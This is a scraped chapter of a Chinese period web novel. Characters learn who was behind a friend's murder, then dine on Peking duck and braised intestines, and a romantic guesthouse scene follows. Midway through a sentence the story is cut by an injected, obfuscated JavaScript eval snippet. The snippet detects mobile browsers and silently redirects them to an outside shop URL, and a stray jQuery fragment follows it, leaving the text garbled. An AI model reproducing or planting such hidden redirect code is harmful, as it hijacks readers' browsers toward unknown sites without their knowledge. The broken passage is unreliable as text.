尽管夏晴晴猜到王招萍知情,但还是没想到,王招萍不仅知情,竟然还是夏珍之死的元凶。
在村子那个地方,可怖又充满悬疑色彩的女知青被害案,说起来却非常简单,一个高精神病态特质的性暴力犯罪者,用他那普通到极点的外表伪装成正常人,在头一次意外在山上撞见受不了苦乱跑上山的隔壁公社女知青,并残忍加害后,自此盯上了女知青这个没有家人没有防备心理的弱势群体。
王招萍是他盯上的第三个,因为她胆小、懦弱、不起眼,方便他下手。
但他没想到的是,一次跟踪,被王招萍发现了,隔着一段距离,王招萍喊出了声:“放过我吧,我不漂亮也没意思,你要是个男人,该找夏珍!男人们都喜欢她!”
夏珍,女知青里最漂亮,最耀眼的那个。
作为一个普通到泯然众人的男人,在村子这种环境里都是底层的失败者,高根生一想到那个被众人都捧着的女知青,就恨得要命。
“她太傲了,高高在上,我恨。”江锐军转述,这是审讯高根生时,他的原话。
于是,为了更大的征服感,更高级的战利品,他放过了王招萍。
事后他就后悔了,担心王招萍会告诉众人,担心公安抓自己,他甚至还想过丢下妻儿跑路,逃到外地去。
他的担忧是多余的,王招萍不仅没有告诉任何人,还在那个大雨天,把夏珍支了出来,完成了当时对他的许诺。
夏珍到死也不会知道,她惨无人道的死亡,竟然是自以为的好朋友一手造成的。
不止夏晴晴,梁燊经历过家破人亡,小小年纪看过夫妻背叛、亲人互相攻讦,自以为对人性的丑恶已有足够认识,也被夏珍的死惊到了。
就那么轻易的,被害死了?
她是死在了恶贯满盈的高根生手中,但更死在了王招萍这个所谓的好朋友手中。
梁燊眉头蹙起:“那后面那个女知青呢,也是被她害死的?”
“姓孙的那个女知青吗?”江锐军叹了口气,又无奈又愤怒,“不是,孙知青纯属自己作死,她无意中发现了王招萍的不正常,又察觉出王招萍跟高根生有来往,自己推导出了夏珍真正的死因。”
“她早就想当知青所的中心人物,她乐意看夏珍死,所以也没打算揭发王招萍。她没想到的是,新一批知青到了,晴晴又成了新的焦点。”
“去修铁路的时候,高根生刚好也在队伍里,于是,她找到高根生,威胁他尽快除掉晴晴,高根生答应了。”
夏晴晴打了个冷颤。
她看向梁燊,所以,那天在大雨里追她的,就是高根生。
“但事有意外,晴晴拼尽全力逃走了,担心事情败露,更厌恶被威胁,高根本便找机会,将孙秋梅灭口了。”
孙秋梅的计划是利用高根生除掉夏晴晴,但她高估了自己的智慧,低估了人性的恶,妄图利用恶,却被恶吞噬。
死的人,变成了她自己。
听江锐军说完,夏晴晴久久说不出话。
她已经尽可能把人往坏处想了,依旧不能理解孙秋梅的所作所为。
“本来大家都捧着她,由着她撒娇犯懒,尤其魏金华,处处帮衬她,所以我来了之后,她看不惯我,讨厌我,我能理解。可仅仅这样,她就希望我被人杀了吗?”
多大的仇?多深的怨?
梁燊眉头紧紧皱起,露出浓浓的厌恶:“难以理解,什么样的脑子,会想到去威胁杀人犯。”
江锐军一开始也完全不能理解。
但她已经过了最初的震惊阶段了,摊手:“我爸说,这样的人不在少数,在我们这行久了,见过的人多了,就知道这个世界上,什么样的人都有。”
她觉得最可惜的是:“那个被害死的女孩夏珍,她是真的把王招萍当朋友,夏珍曾经给家里人写信,要多寄点粮票和钱,说要帮助吃不饱饭的王招萍。”
夏晴晴唏嘘。
她是无论如何,也没法责怪夏珍是人品太好心地太善良,才招致祸端的,毕竟,若不是有夏珍这样的好心人,前世她早就饿死了,更别提能健康长大,考上大学。
错的从来不是对别人付出善意的好人,错的是那些辜负好意、恩将仇报的人。
大快人心的是,王招萍会被判刑劳改,夏珍父母一直在奔波运作,想办法将王招萍被送去最艰苦的地方,让她这种人活着受尽苦楚,也算是对夏珍赎罪了。
沉重的气氛一直持续到一道道美味菜肴端上桌,夏晴晴咽了咽口水,只是闻味道就知道今天这一顿的含金量。
她忍不住赞叹:“这也太香了。”
这家店的厨子毕竟是直接搬过来的,做出的烤鸭地道,鸭肉被片得薄厚均匀,整齐码在长条白瓷盘里,每一片鸭肉上都连着深红油亮的脆皮,一口咬下去,烤得酥酥的脆皮碎在齿间,与嫩肉形成了双重口感。
更绝的是卷着吃,取一张透明的巴掌大小薄饼,抹上甜面酱,筷子夹取切成细丝的葱白、黄瓜条,再放上带脆皮的鸭肉,卷拢轻折,送入口中。
肉香、酱香、菜香层层铺开,滋味万千。
夏晴晴:“好吃!”
梁燊也点头,他看她吃得高兴,不等她提,主动帮她又卷了一个,送到她唇边。
夏晴晴直接张嘴吃了,没发现自己动作有什么问题,江锐军诧异了下,有点害羞。
夏晴晴的注意力已经转移到九转大肠上了,前世这道菜如雷贯耳,几乎没人不知道那个经典的阳谋,以及那个经典的咬牙切齿表情包。
她从没想到,有一天这道菜,会出现在她的餐桌上。
“这菜我熟,我跟家里人来这里,他们都会点,这可是‘功夫菜’,做法可讲究了,一焯、二煮、三炸、四烧。”江锐军自豪背下这么多知识点,可爱地卖派,“晴晴,看到我的诚意了吧,这可是道‘硬菜’。”
夏晴晴面色复杂:“确实硬。”
硬到她都不太敢尝试。
江锐军先夹一块,嘎巴嘎巴咀嚼:“真好吃!外脆里糯!”
看江锐军和梁燊都吃了,且面无异色,夏晴晴才伸出筷子,夹了最小的一块,放在口腔靠外的位置,方便察觉异常后第一时间吐出去。
入口竟先是冰糖的焦甜香,夏晴晴眼睛亮了下,紧接着,酸味溢出,再多嚼几下,胡椒的辣味迸发出来,吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778852|202756||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到最后,是八角桂皮淡淡的咸苦味。
夏晴晴已然忘了自己先前的抗拒,又夹了一块。
她好奇:“不过,这也是京菜吗?”
梁燊:“这是鲁菜。”
江锐军点头:“对,据说是济南菜。”
夏晴晴:“为什么叫九转大肠呢?”
她还以为,这个名字是后世才取的呢。”
江锐军:“九转大肠名字来历是因为当时创造出这道菜的店主名字里有‘九’这个字,店里的菜又都以‘九’命名,后有文人去店里吃饭,被这道大肠惊艳,便借用道家“九转仙丹”典故命名。”
她说完,眨眨眼睛:“我爸最喜欢吃这道菜,我听他们在饭桌上说的。”
夏晴晴听得认真,今天这顿饭,不仅大饱口腹之欲,更是涨了知识。
不过,既然这家店打的招牌是京菜,为什么招牌菜里又有鲁菜?
算了,还是不计较这些小细节了,深究起来,还是“海市京帮魁首”呢。
吃完饭外面天快黑了,江锐军急急忙忙走了,她现在是大忙人大红人,工作多着呢,能特地来见她一面,已经是很看重彼此友谊了。
回到招待所房间简单洗漱了下,夏晴晴把江锐军送的毛毯摊开在床上看,手摸上去:“又松又软。”
梁燊又去打了热水回来,看夏晴晴还在那儿感慨,笑道:“她不是说,她妈妈在一毛厂嘛,一毛厂生产外销的驼绒毛毯,这应该是驼绒。”
这是临分开的时候,江锐军塞夏晴晴手里的,说什么都让她收下,还说是自己妈妈准备的心意,恭贺她新婚。
驼绒是大西北特产,取双峰驼腹部的细绒制作,没有羊绒那么轻巧,但是更挡风更御寒,也能耐用。
要说做贴身毛衣薄围巾什么的,那自然是羊绒好,可要说做成毯子,驼绒就更有优势了,还天然防潮。
夏晴晴小心收起来,一转身,看梁燊弯腰把盆放在床边,她脱了鞋,把脚伸进去泡着,舒服地喟叹:“等她结婚的时候,我也送她好东西。”
说完了,她才后知后觉意识到,这是他打的洗脸的水,回来后光顾着伺候她洗脸了,他还没洗脸呢。
顿时不好意思极了,慌忙把脚拿出来:“我去重新打水,洗一下脸盆吧。”
梁燊视线从她白生生的脚丫上移开,喉结滚了滚:“没事,你先洗,我不介意的。”
夏晴晴:“可是……”
“真不介意,你洗吧,都洗了一半了。”梁燊蹲下身,捉住她纤细的脚腕,把她两只脚又放回脸盆里。
粗糙的指腹滑过她光滑的脚面,他一时间竟然愣在那儿,手指紧扣着没松开。
夏晴晴原本还没觉得有什么,直到看到他迟迟不起身,紧绷着背,似蹲似跪在自己面前,盯着自己的脚看,她脚趾不自觉蜷缩,呼吸收紧了。
片刻后,她声音放轻:“你,捏疼我了……”
梁燊大梦初醒,猛地放开她的脚踝,站起身来。
夏晴晴垂着眼,脸颊通红,盯着自己蜷起来的脚趾看。
梁燊本来都扭过了头,听她这边一直没动静,好奇转过来,旋即视线下沉。